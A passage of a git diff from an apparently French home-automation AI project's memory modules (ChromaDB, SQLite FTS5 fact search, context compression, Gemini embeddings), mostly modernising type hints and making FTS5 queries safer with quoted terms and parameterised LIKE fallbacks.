list[dict[str, Any]]: """Extrait les citations [Source N] du texte de réponse. Returns: Liste de dicts avec : source_id, source, title, count """ import re - + citations = [] seen = set() - + # Trouver toutes les occurrences de [Source N] pattern = r'\[Source\s+(\d+)\]' matches = re.finditer(pattern, answer_text) - + for match in matches: source_id = int(match.group(1)) if source_id in seen: continue seen.add(source_id) - + source_info = source_map.get(source_id, {}) citations.append({ "source_id": source_id, @@ -324,5 +325,5 @@ def _extract_citations( "title": source_info.get("title", ""), "count": len(re.findall(rf'\[Source\s+{source_id}\]', answer_text)), }) - + return citations diff --git a/memory/chroma_memory.py b/memory/chroma_memory.py index 3cdaf50..d00013a 100644 --- a/memory/chroma_memory.py +++ b/memory/chroma_memory.py @@ -1,5 +1,4 @@ #!/usr/bin/env python3 -# -*- coding: utf-8 -*- """ memory/chroma_memory.py — Mémoire vectorielle ChromaDB persistante. @@ -23,7 +22,7 @@ import os import sqlite3 from pathlib import Path -from typing import Any, Dict, List, Optional +from typing import Any logger = logging.getLogger(__name__) @@ -64,12 +63,12 @@ async def migrate_facts_from_sqlite(self, db_path: str) -> dict: async def search_episodes( self, query: str, n_results: int = 5, min_date: str = None - ) -> List[dict]: + ) -> list[dict]: return [] async def search_facts( self, query: str, n_results: int = 5, category: str = None - ) -> List[dict]: + ) -> list[dict]: return [] async def hybrid_search(self, query: str, n_results: int = 5) -> dict: @@ -167,7 +166,7 @@ async def migrate_compressed_episodes(self, episodes_dir: str) -> dict: for filepath in json_files: try: - with open(filepath, "r", encoding="utf-8") as f: + with open(filepath, encoding="utf-8") as f: episode = json.load(f) # Filtrer : uniquement les compressés @@ -262,10 +261,14 @@ def _read_facts(): content = row["content"] or "" doc = f"{title}. {content}".strip() if title else content + # #T252 : severity est TEXT depuis la V9 ('minor'/'major'/'critical'). + # Un int() sur 'minor' levait ValueError et faisait croire que + # ChromaDB était indisponible (étape 2.8 du Dreamer). On stocke la + # chaîne telle quelle (str() tolère aussi les bases legacy). metadata = { "category": str(row["category"] or ""), "tags": str(row["tags"] or ""), - "severity": int(row["severity"] or 0), + "severity": str(row["severity"] or ""), "created_at": str(row["created_at"] or ""), } @@ -292,7 +295,7 @@ async def search_episodes( query: str, n_results: int = 5, min_date: str = None, - ) -> List[Dict[str, Any]]: + ) -> list[dict[str, Any]]: """ Recherche sémantique dans les épisodes compressés. @@ -338,7 +341,7 @@ async def search_facts( query: str, n_results: int = 5, category: str = None, - ) -> List[Dict[str, Any]]: + ) -> list[dict[str, Any]]: """ Recherche sémantique dans les faits. @@ -392,7 +395,7 @@ async def hybrid_search( self, query: str, n_results: int = 5, - ) -> Dict[str, Any]: + ) -> dict[str, Any]: """ Recherche hybride parallèle dans les deux collections. @@ -446,7 +449,7 @@ def get_stats(self) -> dict: # Singleton # ────────────────────────────────────────────────────────────────── -_chroma_instance: Optional[ChromaMemory] = None +_chroma_instance: ChromaMemory | None = None def get_chroma_memory(persist_dir: str = None) -> "ChromaMemory | ChromaMemoryStub": diff --git a/memory/context_loader.py b/memory/context_loader.py index 2a430c4..e0fefaf 100644 --- a/memory/context_loader.py +++ b/memory/context_loader.py @@ -9,9 +9,8 @@ Dernière mise à jour : 2026-05-25 """ -import os import logging -from typing import Dict, List, Optional +import os from dataclasses import dataclass, field logger = logging.getLogger(__name__) @@ -19,7 +18,7 @@ # ────────────────────────────────────────────────────────────────── # Mapping : catégorie de tâche → fichiers de contexte à charger # ────────────────────────────────────────────────────────────────── -CATEGORY_FILES_MAP: Dict[str, List[str]] = { +CATEGORY_FILES_MAP: dict[str, list[str]] = { "home_assistant": [ "03_Software/rules_home_assistant.md", "03_Software/03_LOGIQUE_ET_APIS.md", @@ -72,7 +71,7 @@ class LoadedDocument: content: str size_bytes: int last_modified: float # timestamp - category_tags: List[str] = field(default_factory=list) + category_tags: list[str] = field(default_factory=list) class ContextLoader: @@ -82,7 +81,7 @@ class ContextLoader: pertinent pour une liste de catégories de tâches. """ - def __init__(self, contexte_ia_path: Optional[str] = None): + def __init__(self, contexte_ia_path: str | None = None): """ Initialise le ContextLoader. @@ -100,7 +99,7 @@ def __init__(self, contexte_ia_path: Optional[str] = None): self.contexte_ia_path = os.path.abspath(contexte_ia_path) # Cache en mémoire : relative_path → LoadedDocument - self._documents: Dict[str, LoadedDocument] = {} + self._documents: dict[str, LoadedDocument] = {} self._loaded = False def load_all(self) -> int: @@ -114,7 +113,7 @@ def load_all(self) -> int: loaded_count = 0 # Collecter tous les fichiers uniques depuis le mapping - all_files: Dict[str, List[str]] = {} # relative_path → [categories] + all_files: dict[str, list[str]] = {} # relative_path → [categories] for category, files in CATEGORY_FILES_MAP.items(): for rel_path in files: if rel_path not in all_files: @@ -124,13 +123,13 @@ def load_all(self) -> int: # Charger chaque fichier unique for rel_path, categories in all_files.items(): full_path = os.path.join(self.contexte_ia_path, rel_path) - + if not os.path.exists(full_path): logger.warning(f"[CONTEXT LOADER] Fichier introuvable : {full_path}") continue try: - with open(full_path, "r", encoding="utf-8") as f: + with open(full_path, encoding="utf-8") as f: content = f.read() stat = os.stat(full_path) @@ -160,7 +159,7 @@ def load_all(self) -> int: return loaded_count def get_context_for_categories( - self, categories: List[str], max_chars: int = MAX_CONTEXT_CHARS + self, categories: list[str], max_chars: int = MAX_CONTEXT_CHARS ) -> str: """ Retourne le contenu concaténé des fichiers pertinents pour les catégories données. @@ -183,7 +182,7 @@ def get_context_for_categories( all_categories = set(categories) | {"core"} # Collecter les fichiers pertinents (sans doublons) - relevant_files: Dict[str, LoadedDocument] = {} + relevant_files: dict[str, LoadedDocument] = {} for cat in all_categories: file_list = CATEGORY_FILES_MAP.get(cat, []) for rel_path in file_list: @@ -199,7 +198,7 @@ def get_context_for_categories( for rel_path, doc in relevant_files.items(): header = f"\n--- 📄 {rel_path} ---\n" section = header + doc.content - + if total_chars + len(section) > max_chars: # Tronquer ce fichier pour rentrer dans la limite remaining = max_chars - total_chars @@ -207,13 +206,13 @@ def get_context_for_categories( section = section[:remaining] + "\n[... tronqué ...]\n" sections.append(section) break - + sections.append(section) total_chars += len(section) return "\n".join(sections) - def get_status(self) -> Dict: + def get_status(self) -> dict: """ Retourne un résumé enrichi de l'état du ContextLoader pour l'API /api/context-status. Inclut le mapping des catégories, les previews et la limite de contexte. @@ -255,7 +254,7 @@ def _get_preview(self, content: str, max_lines: int = 5) -> str: break return "\n".join(lines) - def force_reload(self) -> Dict: + def force_reload(self) -> dict: """ Force un rechargement complet de tous les fichiers de contexte. Retourne le statut mis à jour. diff --git a/memory/context_manager.py b/memory/context_manager.py index 370241d..8af9755 100644 --- a/memory/context_manager.py +++ b/memory/context_manager.py @@ -1,6 +1,15 @@ -from core.llm_gateway import LLMGateway +""" +memory/context_manager.py — Compression sémantique des sorties d'outils volumineuses. + +Résume via LM Studio local (fallback cloud DeepSeek) tout contenu dépassant +~10 Ko avant réinjection dans le contexte LLM, pour économiser des tokens. +Singleton avec ThreadPoolExecutor partagé. Consommé par tools/system.py +(read_file) et services/pipeline_service.py. +""" import logging +from core.llm_gateway import LLMGateway + logger = logging.getLogger(__name__) class ContextManager: @@ -10,11 +19,11 @@ class ContextManager: """ _instance = None _shared_executor = None - + @classmethod def get_instance(cls): return cls._instance - + def __init__(self, llm_gateway: LLMGateway, cloud_provider_name: str = "deepseek"): self.gateway = llm_gateway self.cloud_provider_name = cloud_provider_name @@ -22,7 +31,7 @@ def __init__(self, llm_gateway: LLMGateway, cloud_provider_name: str = "deepseek self.semantic_cache = {} # filepath -> { "summary": str, "mtime": float, "size": int } ContextManager._instance = self self._load_ignore_patterns() - + # Initialisation unique et partagée du ThreadPoolExecutor pour éviter l'overhead # et les fuites de threads d'allocations dynamiques répétées. if ContextManager._shared_executor is None: @@ -31,12 +40,12 @@ def __init__(self, llm_gateway: LLMGateway, cloud_provider_name: str = "deepseek max_workers=4, thread_name_prefix="ContextManagerPool" ) self._executor = ContextManager._shared_executor - + def _load_ignore_patterns(self): """Charge les motifs d'exclusion de .antigravityignore / .claudeignore.""" import os self.ignore_patterns = [] - + # Chercher dans le dossier racine du workspace workspace_root = os.path.dirname(os.path.dirname(os.path.dirname(__file__))) ignore_files = [ @@ -45,11 +54,11 @@ def _load_ignore_patterns(self): ".antigravityignore", ".claudeignore" ] - + for file_path in ignore_files: if os.path.exists(file_path): try: - with open(file_path, "r", encoding="utf-8") as f: + with open(file_path, encoding="utf-8") as f: for line in f: line = line.strip() if line and not line.startswith("#"): @@ -65,62 +74,62 @@ def is_ignored(self, filepath: str) -> bool: force_check = getattr(self, "force_ignore_check", False) if os.environ.get("PYTEST_CURRENT_TEST") and not force_check: return False # Pas d'ignore automatique pendant les tests unitaires - + if not hasattr(self, 'ignore_patterns'): self._load_ignore_patterns() - + if not self.ignore_patterns: return False - + import fnmatch import os - + basename = os.path.basename(filepath) normalized_path = filepath.replace("\\", "/") - + for pattern in self.ignore_patterns: pat = pattern.replace("\\", "/") if fnmatch.fnmatch(basename, pat) or fnmatch.fnmatch(normalized_path, f"*{pat}*"): return True return False - + def optimize_file_read(self, filepath: str, raw_content: str) -> str: """ Optimise le contenu d'un fichier lu s'il dépasse une certaine taille. Gère un cache sémantique pour éviter de résumer inutilement à chaque relecture. """ import os - + # Ignorer si spécifié dans .antigravityignore if self.is_ignored(filepath): logger.info(f"[CONTEXT MANAGER] Fichier exclu par ignore : {os.path.basename(filepath)}") return f"[Contenu de {os.path.basename(filepath)} ignoré par .antigravityignore]" - + # Seuil de compression pour les fichiers de contexte (10 Ko) file_size_threshold = 10000 - + if len(raw_content) <= file_size_threshold: return raw_content - + # Ne pas compresser si ce n'est pas un fichier markdown (règles/contextes) if not filepath.endswith(('.md', '.markdown')): return raw_content - + try: mtime = os.path.getmtime(filepath) size = len(raw_content) except Exception: mtime = 0 size = len(raw_content) - + # Vérifier si le fichier est en cache et s'il n'a pas changé cache_entry = self.semantic_cache.get(filepath) if cache_entry and cache_entry["mtime"] == mtime and cache_entry["size"] == size: logger.info(f"[CONTEXT MANAGER] Utilisation du résumé sémantique en cache pour : {os.path.basename(filepath)}") return cache_entry["summary"] - + print(f"\n[CONTEXT MANAGER] -> Fichier de contexte volumineux détecté ({size} chars). Résumé sémantique en cours pour : {os.path.basename(filepath)}...") - + system_prompt = """Tu es un expert en compression sémantique. Ta mission est de résumer ce document de référence / règles domotiques. CONSIGNES STRICTES : @@ -129,7 +138,7 @@ def optimize_file_read(self, filepath: str, raw_content: str) -> str: 3. Rends le document 3 à 5 fois plus court sans perte d'information technique structurante.""" user_prompt = f"Contenu du fichier {os.path.basename(filepath)} :\n\n{raw_content}" - + try: # On utilise le summarize de base pour appeler le LLM local/fallback cloud summary = self.summarize(raw_content) @@ -144,20 +153,20 @@ def optimize_file_read(self, filepath: str, raw_content: str) -> str: return summary except Exception as e: logger.error(f"[CONTEXT MANAGER] Échec de la génération du résumé sémantique pour {filepath} : {e}") - + return raw_content - + def clean_raw_data(self, raw_data: str) -> str: """Nettoie le bruit dans les logs (lignes vides, doublons consécutifs) pour économiser des tokens.""" if not raw_data: return "" - + lines = raw_data.splitlines() cleaned_lines = [] last_line = None empty_count = 0 - + for line in lines: stripped = line.strip() if not stripped: @@ -167,14 +176,14 @@ def clean_raw_data(self, raw_data: str) -> str: continue else: empty_count = 0 - + # Éliminer les doublons consécutifs exacts (fréquent dans les boucles infinies de logs) if stripped == last_line: continue - + cleaned_lines.append(line) last_line = stripped - + return "\n".join(cleaned_lines) def summarize(self, raw_data: str) -> str: @@ -186,9 +195,9 @@ def summarize(self, raw_data: str) -> str: """ if not raw_data or len(raw_data) <= self.threshold: return raw_data - + cleaned_data = self.clean_raw_data(raw_data) - + # Avertissement si taille de contexte massive (>150k tokens estimé) if len(cleaned_data) > 600000: logger.warning( @@ -196,7 +205,7 @@ def summarize(self, raw_data: str) -> str: f"{len(cleaned_data)} caractères (~{len(cleaned_data)//4} tokens). " f"Risque de saturation de la fenêtre de contexte LLM !" ) - + print(f"\n[MEMORY] -> Résultat très long ({len(raw_data)} chars bruts, {len(cleaned_data)} nettoyés). Compression en cours...") system_prompt = """Tu es un compresseur de contexte pour un moteur d'orchestration IA. Ta mission est de résumer ce log d'exécution technique. @@ -206,7 +215,7 @@ def summarize(self, raw_data: str) -> str: 3. Sois ultra-concis (style télégraphique).""" user_prompt = f"Données brutes à résumer :\n\n{cleaned_data[:20000]}" - + def _safe_call(provider_method, *args, **kwargs) -> str: """Appelle un provider.generate() en gérant le cas où il retourne une coroutine.""" import inspect @@ -223,12 +232,12 @@ def _safe_call(provider_method, *args, **kwargs) -> str: # Pas de loop en cours → run_until_complete return asyncio.run(result) return result - + try: logger.info("[MEMORY] Tentative via LM Studio Local...") local_provider = self.gateway.get_provider("local") return _safe_call(local_provider.generate, system_prompt, user_prompt, max_tokens=500) - + except Exception as e: if "ConnectionError" in type(e).__name__ or "Timeout" in type(e).__name__ or "400" in str(e): print(f"[MEMORY] -> LM Studio injoignable/erreur. Fallback vers {self.cloud_provider_name}...") diff --git a/memory/embeddings.py b/memory/embeddings.py index 9be92d1..194355a 100644 --- a/memory/embeddings.py +++ b/memory/embeddings.py @@ -14,10 +14,10 @@ Créé dans le cadre de l'audit V5.5 (Axe M1 — score Mémoire 72% → cible 88%). """ -import os import hashlib import logging -from typing import List, Dict, Any +import os +from typing import Any logger = logging.getLogger(__name__) @@ -160,7 +160,7 @@ def index_documents(self, doc_dir: str = None, force_reindex: bool = False) -> i filepath = os.path.join(root, fname) try: - with open(filepath, "r", encoding="utf-8", errors="ignore") as f: + with open(filepath, encoding="utf-8", errors="ignore") as f: content = f.read() # Chunking par sections Markdown @@ -191,7 +191,7 @@ def index_documents(self, doc_dir: str = None, force_reindex: bool = False) -> i "content_hash": content_hash, "category": os.path.basename(os.path.dirname(filepath)), } - + # Indexer dans la collection Gemini (espace unique) self._collection.upsert( ids=[doc_id], @@ -210,7 +210,7 @@ def index_documents(self, doc_dir: str = None, force_reindex: bool = False) -> i def query_similar( self, query: str, top_n: int = 5 - ) -> List[Dict[str, Any]]: + ) -> list[dict[str, Any]]: """ Recherche les documents les plus similaires à la requête par embeddings. @@ -266,7 +266,7 @@ def query_similar( ) return output - def get_stats(self) -> Dict[str, Any]: + def get_stats(self) -> dict[str, Any]: """Retourne les statistiques de la collection ChromaDB (espace Gemini).""" if not self._available: return {"available": False} @@ -284,7 +284,7 @@ def get_stats(self) -> Dict[str, Any]: # Méthodes privées # ───────────────────────────────────────────────────────── - def _chunk_markdown(self, content: str, filepath: str) -> List[Dict[str, str]]: + def _chunk_markdown(self, content: str, filepath: str) -> list[dict[str, str]]: """ Découpe un document Markdown en sections par headers. diff --git a/memory/episodes.py b/memory/episodes.py index ec48512..65c7553 100644 --- a/memory/episodes.py +++ b/memory/episodes.py @@ -4,13 +4,12 @@ et les fonctions d'historique de sessions en base de données SQLite (MemoryDB). """ -import os -import re import json import logging +import os +import re import time from datetime import datetime, timedelta -from typing import List, Dict, Optional logger = logging.getLogger(__name__) @@ -36,7 +35,7 @@ def __init__(self, episodes_dir: str = _DEFAULT_EPISODES_DIR): self.episodes_dir = episodes_dir os.makedirs(self.episodes_dir, exist_ok=True) # Cache en mémoire des épisodes (chargé au premier accès) - self._cache: Optional[List[dict]] = None + self._cache: list[dict] | None = None # Stopwords français simplifiés pour le scoring self._stopwords = { "le", "la", "les", "un", "une", "des", "ce", "cet", "cette", "ces", @@ -47,12 +46,12 @@ def __init__(self, episodes_dir: str = _DEFAULT_EPISODES_DIR): } logger.info(f"[EPISODES] Dossier épisodes : {self.episodes_dir}") - def _tokenize(self, text: str) -> List[str]: + def _tokenize(self, text: str) -> list[str]: """Découpe un texte en mots, filtre les stopwords.""" words = re.findall(r'[a-zA-Z0-9_\-àâéèêëîïôöùûüç]+', text.lower()) return [w for w in words if w not in self._stopwords and len(w) > 1] - def _extract_tags(self, text: str) -> List[str]: + def _extract_tags(self, text: str) -> list[str]: """Extrait des tags pertinents à partir d'un texte (mots significatifs).""" tokens = self._tokenize(text) # Garder les mots qui apparaissent au moins une fois et sont assez longs @@ -63,9 +62,9 @@ def save_episode( session_id: str, objective: str, result_summary: str, - errors: List[str] = None, - lessons: List[str] = None, - entities_touched: Dict[str, str] = None, + errors: list[str] = None, + lessons: list[str] = None, + entities_touched: dict[str, str] = None, total_tokens: int = 0, total_cost_usd: float = 0.0, execution_phase: str = "completed", @@ -112,7 +111,7 @@ def save_episode( logger.error(f"[EPISODES] Échec de sauvegarde : {e}") return "" - def _load_all_episodes(self, include_expired: bool = False) -> List[dict]: + def _load_all_episodes(self, include_expired: bool = False) -> list[dict]: """ Charge tous les épisodes depuis le dossier (avec cache). Filtre automatiquement les épisodes expirés (TTL 30/90j). @@ -134,7 +133,7 @@ def _load_all_episodes(self, include_expired: bool = False) -> List[dict]: continue filepath = os.path.join(self.episodes_dir, filename) try: - with open(filepath, 'r', encoding='utf-8') as f: + with open(filepath, encoding='utf-8') as f: episode = json.load(f) # Filtrage TTL @@ -189,7 +188,7 @@ def purge_old_episodes(self, dry_run: bool = False) -> dict: continue filepath = os.path.join(self.episodes_dir, filename) try: - with open(filepath, 'r', encoding='utf-8') as f: + with open(filepath, encoding='utf-8') as f: episode = json.load(f) created_str = episode.get("created_at") or episode.get("timestamp", "") @@ -277,7 +276,7 @@ def query_relevant_episodes(self, current_objective: str, max_results: int = 3) return "\n".join(parts) - def get_recent_episodes(self, n: int = 5) -> List[dict]: + def get_recent_episodes(self, n: int = 5) -> list[dict]: """Retourne les N derniers épisodes chronologiquement.""" episodes = self._load_all_episodes() return episodes[:n] @@ -325,7 +324,7 @@ def upsert_episode(db, session_date: str, session_folder: str, conn.close() -def search_episodes(db, query: str, limit: int = 10) -> List[Dict]: +def search_episodes(db, query: str, limit: int = 10) -> list[dict]: """Recherche dans les résumés de sessions stockés dans la base SQLite.""" conn = db._get_conn() try: diff --git a/memory/facts.py b/memory/facts.py index 0b788f8..fa42294 100644 --- a/memory/facts.py +++ b/memory/facts.py @@ -4,13 +4,13 @@ et les fonctions d'insertion et de recherche de faits en base SQLite (MemoryDB). """ -import os import json import logging -import time +import os +import re import sqlite3 +import time from datetime import datetime -from typing import Dict, List logger = logging.getLogger(__name__) @@ -30,7 +30,7 @@ class FactStore: def __init__(self, facts_file: str = _DEFAULT_FACTS_FILE): self.facts_file = facts_file - self.facts: Dict[str, Dict[str, dict]] = {} # {category: {key: {value, source, timestamp}}} + self.facts: dict[str, dict[str, dict]] = {} # {category: {key: {value, source, timestamp}}} self._load() def _load(self): @@ -39,7 +39,7 @@ def _load(self): self.facts = {} return try: - with open(self.facts_file, 'r', encoding='utf-8') as f: + with open(self.facts_file, encoding='utf-8') as f: self.facts = json.load(f) total = sum(len(v) for v in self.facts.values()) logger.info(f"[FACTS] {total} fait(s) chargé(s) depuis {os.path.basename(self.facts_file)}") @@ -58,13 +58,13 @@ def _save(self): def add_fact(self, category: str, key: str, value: str, source: str = "unknown") -> str: """ Ajoute ou met à jour un fait structuré. - + Args: category: Catégorie du fait (sensor, config, hardware, network, automation, etc.) key: Identifiant unique du fait dans sa catégorie (ex: "dht22_salon") value: Valeur du fait (ex: "offset de température = -1.5°C") source: Source du fait (ex: session_id ou "utilisateur") - + Returns: Message de confirmation. """ @@ -100,7 +100,7 @@ def remove_fact(self, category: str, key: str) -> str: return f"Fait supprimé : [{category}] {key}" return f"Fait non trouvé : [{category}] {key}" - def get_facts_for_context(self, keywords: List[str], max_chars: int = 2000) -> str: + def get_facts_for_context(self, keywords: list[str], max_chars: int = 2000) -> str: """ Retourne les faits pertinents formatés pour injection dans le prompt. Recherche par correspondance de mots-clés dans les catégories et les clés. @@ -145,7 +145,7 @@ def get_facts_for_context(self, keywords: List[str], max_chars: int = 2000) -> s return "\n".join(parts) - def get_all_facts(self) -> Dict[str, Dict[str, dict]]: + def get_all_facts(self) -> dict[str, dict[str, dict]]: """Retourne tous les faits (pour l'API de monitoring).""" return self.facts @@ -193,25 +193,73 @@ def upsert_fact(db, category: str, title: str, content: str, conn.close() -def search_facts(db, query: str, category: str = None, limit: int = 10) -> List[Dict]: - """Recherche des faits via FTS5 (BM25) avec fallback LIKE dans la base SQLite.""" +# ────────────────────────────────────────────────────────────── +# Préparation des requêtes de recherche (FTS5 et LIKE) +# ────────────────────────────────────────────────────────────── + +# Stopwords français — modèle : la liste du compresseur de contexte +# (core/router_context_compressor.py), complétée de l'élision "qu'" (très +# fréquente dans les questions : "qu'est-ce que", "qu'il"...). +_STOPWORDS_FR = { + "le", "la", "les", "un", "une", "des", "ce", "cet", "cette", "ces", + "de", "du", "d", "l", "en", "et", "ou", "mais", "donc", "ni", "car", + "a", "à", "dans", "par", "pour", "sur", "avec", "sans", "sous", + "qui", "que", "quoi", "dont", "où", "est", "sont", "être", "avoir", + "je", "tu", "il", "elle", "nous", "vous", "ils", "elles", + "qu", +} + +# Même classe de caractères que le compresseur de contexte pour découper les mots. +_TERM_RE = re.compile(r"[a-zA-Z0-9_\-\.àâéèêëîïôöùûüç]+") + + +def _build_search_terms(query: str) -> list[str]: + """ + Tokenise une requête libre en termes significatifs (minuscules, sans stopwords + français ni mots d'un seul caractère). Source de vérité unique pour FTS5 et LIKE. + """ + terms = [] + for word in _TERM_RE.findall(query.lower()): + word = word.rstrip(".") + if word not in _STOPWORDS_FR and len(word) > 1: + terms.append(word) + return terms + + +def _build_fts5_match(terms: list[str]) -> str: + """ + Construit une expression MATCH FTS5 sûre : chaque terme devient une phrase + littérale entre guillemets doubles (guillemets internes doublés, comme en SQL), + les termes étant joints par OR. Apostrophes, slashes, tirets et deux-points + ne cassent plus la syntaxe FTS5. + """ + phrases = ['"' + term.replace('"', '""') + '"' for term in terms] + return " OR ".join(phrases) + + +def search_facts(db, query: str, category: str = None, limit: int = 10) -> list[dict]: + """Recherche des faits via FTS5 (BM25) avec repli LIKE dans la base SQLite. + + Sémantique : OR entre les termes significatifs de la question (stopwords + français retirés), classés par pertinence — un AND sur la question entière + exigerait tous ses mots et rendrait presque toujours zéro résultat. + """ conn = db._get_conn() try: - # Nettoyer la requête pour FTS5 (enlever les guillemets et astérisques bruts) - clean_query = " ".join([w.strip('*').strip('"') for w in query.split() if w.strip('*').strip('"')]) - - if not clean_query: + terms = _build_search_terms(query) + if not terms: return [] + match_query = _build_fts5_match(terms) try: # Requête FTS5 avec jointure pour charger toutes les colonnes de facts sql = """ - SELECT f.*, fts.rank + SELECT f.*, fts.rank FROM facts f JOIN fts_facts fts ON f.id = fts.fact_id WHERE fts_facts MATCH ? """ - params = [clean_query] + params = [match_query] if category: sql += " AND f.category = ?" params.append(category) @@ -221,16 +269,19 @@ def search_facts(db, query: str, category: str = None, limit: int = 10) -> List[ rows = conn.execute(sql, params).fetchall() return [dict(r) for r in rows] except sqlite3.OperationalError as e: - # Fallback sur la recherche LIKE classique en cas d'erreur de syntaxe FTS5 ou d'absence du module - logger.warning(f"[MEMORY DB] FTS5 search failed, falling back to LIKE: {e}") - words = query.lower().split() + # Dernier recours (base sans FTS5) : LIKE sur les mêmes termes significatifs, + # même sémantique OR. Le warning porte la requête fautive pour diagnostic. + logger.warning( + f"[MEMORY DB] FTS5 search failed, falling back to LIKE: {e} — requête fautive : {match_query!r}" + ) conditions = [] params = [] - for word in words: + for word in terms: conditions.append("(LOWER(f.title) LIKE ? OR LOWER(f.content) LIKE ? OR LOWER(f.tags) LIKE ?)") - params.extend([f"%{word}%", f"%{word}%", f"%{word}%"]) + params.extend([f"%{word}%"] * 3) - sql = f"SELECT f.* FROM facts f WHERE {' AND '.join(conditions)}" + # noqa S608 : noms de colonnes en dur, termes paramétrés '?' — aucune injection + sql = "SELECT f.* FROM facts f WHERE " + " OR ".join(conditions) # noqa: S608 if category: sql += " AND f.category = ?" params.append(category) @@ -243,7 +294,7 @@ def search_facts(db, query: str, category: str = None, limit: int = 10) -> List[ conn.close() -def get_facts_by_category(db, category: str) -> List[Dict]: +def get_facts_by_category(db, category: str) -> list[dict]: """Retourne tous les faits d'une catégorie depuis la base SQLite.""" conn = db._get_conn() try: @@ -256,7 +307,7 @@ def get_facts_by_category(db, category: str) -> List[Dict]: conn.close() -def get_all_facts_count(db) -> Dict[str, int]: +def get_all_facts_count(db) -> dict[str, int]: """Retourne le nombre de faits par catégorie depuis la base SQLite.""" conn = db._get_conn() try: @@ -299,7 +350,7 @@ def decay_relevance(db, decay_rate: float = 0.05, min_score: float = 0.1) -> int conn.close() -def get_stale_facts(db, threshold: float = 0.3) -> List[Dict]: +def get_stale_facts(db, threshold: float = 0.3) -> list[dict]: """Retourne les faits dont le score de pertinence est bas depuis la base SQLite.""" conn = db._get_conn() try: @@ -353,6 +404,7 @@ def _ensure_facts_columns(db) -> None: "last_accessed_at": "REAL DEFAULT NULL", "importance_score": "REAL DEFAULT 1.0", "access_count": "INTEGER DEFAULT 0", + "is_deprecated": "INTEGER DEFAULT 0", # migration : filtrage ChromaDB (chroma_memory.py:242) } conn = db._get_conn() try: @@ -383,13 +435,14 @@ def touch_fact(db, fact_id: int) -> bool: conn.close() -def search_facts_weighted(db, query: str, limit: int = 10) -> List[Dict]: +def search_facts_weighted(db, query: str, limit: int = 10) -> list[dict]: """Recherche FTS5 ordonnée par importance_score * relevance_score décroissant.""" conn = db._get_conn() try: - clean_query = " ".join([w.strip('*"') for w in query.split() if w.strip('*"')]) - if not clean_query: + terms = _build_search_terms(query) + if not terms: return [] + match_query = _build_fts5_match(terms) try: sql = """ SELECT f.* @@ -399,9 +452,14 @@ def search_facts_weighted(db, query: str, limit: int = 10) -> List[Dict]: ORDER BY COALESCE(f.importance_score, 1.0) * f.relevance_score DESC LIMIT ? """ - rows = conn.execute(sql, (clean_query, limit)).fetchall() + rows = conn.execute(sql, (match_query, limit)).fetchall() return [dict(r) for r in rows] - except sqlite3.OperationalError: + except sqlite3.OperationalError as e: + # Repli visible (et non silencieux) sur search_facts, qui retente FTS5 + # puis bascule en LIKE si nécessaire. Le warning porte la requête fautive. + logger.warning( + f"[MEMORY DB] FTS5 weighted search failed, falling back to search_facts: {e} — requête fautive : {match_query!r}" + ) return search_facts(db, query, limit=limit) finally: conn.close() diff --git a/memory/gemini_embedding_fn.py b/memory/gemini_embedding_fn.py index 44770e7..46c4cad 100644 --- a/memory/gemini_embedding_fn.py +++ b/memory/gemini_embedding_fn.py @@ -18,11 +18,12 @@ store = EmbeddingStore(embedding_fn=GeminiEmbeddingFunction()) """ -import os +import hashlib import logging +import os +from typing import Any + import requests -import hashlib -from typing import Any, Dict, List, Optional logger = logging.getLogger(__name__) @@ -71,11 +72,11 @@ class GeminiEmbeddingFunction(_EF_BASE): embedding_function=GeminiEmbeddingFunction(), ) """ - + def __init__( self, model: str = "gemini-embedding-2", - api_key: Optional[str] = None, + api_key: str | None = None, task_type: str = "RETRIEVAL_DOCUMENT", ): """ @@ -92,24 +93,24 @@ def __init__( self._model = model self._task_type = task_type self._base_url = "https://generativelanguage.googleapis.com/v1beta" - + # Validation if not self._api_key: logger.warning("[Gemini Embedding] Aucune clé API configurée. Fallback sur embeddings locaux.") - + model_info = EMBEDDING_MODELS.get(model, {}) self._dimension = model_info.get("dimension", 3072) - + logger.info( f"[Gemini Embedding] Initialisé : modèle={model}, " f"dimension={self._dimension}, task_type={task_type}" ) - + @property def dimension(self) -> int: """Dimension des vecteurs d'embedding produits.""" return self._dimension - + @property def available(self) -> bool: """Indique si la fonction d'embedding est configurée et prête.""" @@ -130,12 +131,12 @@ def name() -> str: """Identifiant stable de la fonction d'embedding (sérialisation ChromaDB).""" return "gemini_embedding_fn" - def get_config(self) -> Dict[str, Any]: + def get_config(self) -> dict[str, Any]: """Config sérialisable de la fonction. N'inclut JAMAIS la clé API (secret).""" return {"model": self._model, "task_type": self._task_type} @staticmethod - def build_from_config(config: Dict[str, Any]) -> "GeminiEmbeddingFunction": + def build_from_config(config: dict[str, Any]) -> "GeminiEmbeddingFunction": """Reconstruit la fonction depuis une config sérialisée (clé API relue de l'env).""" return GeminiEmbeddingFunction( model=config.get("model", "gemini-embedding-2"), @@ -146,7 +147,7 @@ def default_space(self) -> str: """Espace de similarité par défaut : cosinus (collection créée en hnsw:space=cosine).""" return "cosine" - def __call__(self, input: List[str]) -> List[List[float]]: + def __call__(self, input: list[str]) -> list[list[float]]: """Interface ChromaDB : génère les embeddings pour une liste de textes. Args: @@ -157,20 +158,20 @@ def __call__(self, input: List[str]) -> List[List[float]]: """ if not input: return [] - + # L'API Gemini Embedding accepte du batch nativement # On traite par lots de 100 (limite API) all_embeddings = [] batch_size = 100 - + for i in range(0, len(input), batch_size): batch = input[i:i + batch_size] embeddings = self._embed_batch(batch) all_embeddings.extend(embeddings) - + return all_embeddings - - def _embed_batch(self, texts: List[str]) -> List[List[float]]: + + def _embed_batch(self, texts: list[str]) -> list[list[float]]: """Appelle l'API Gemini Embedding pour un lot de textes. Utilise l'endpoint batchEmbedContents pour optimiser les appels réseau. @@ -188,7 +189,7 @@ def _embed_batch(self, texts: List[str]) -> List[List[float]]: if not current_key: current_key = os.environ.get("GEMINI_API_KEY") - + if not current_key: raise ValueError("Aucune clé API Gemini disponible pour générer des embeddings") @@ -201,12 +202,12 @@ def _embed_batch(self, texts: List[str]) -> List[List[float]]: "content": {"parts": [{"text": truncated}]}, "taskType": self._task_type, }) - + payload = {"requests": requests_payload} - + max_attempts = 4 backoff = 10.0 - + for attempt in range(1, max_attempts + 1): url = f"{self._base_url}/models/{self._model}:batchEmbedContents?key={current_key}" try: @@ -216,7 +217,7 @@ def _embed_batch(self, texts: List[str]) -> List[List[float]]: json=payload, timeout=(5.0, 60.0), ) - + # Gestion automatique de la rotation de clé sur 429 if resp.status_code == 429: if pool and not self._api_key: @@ -227,25 +228,25 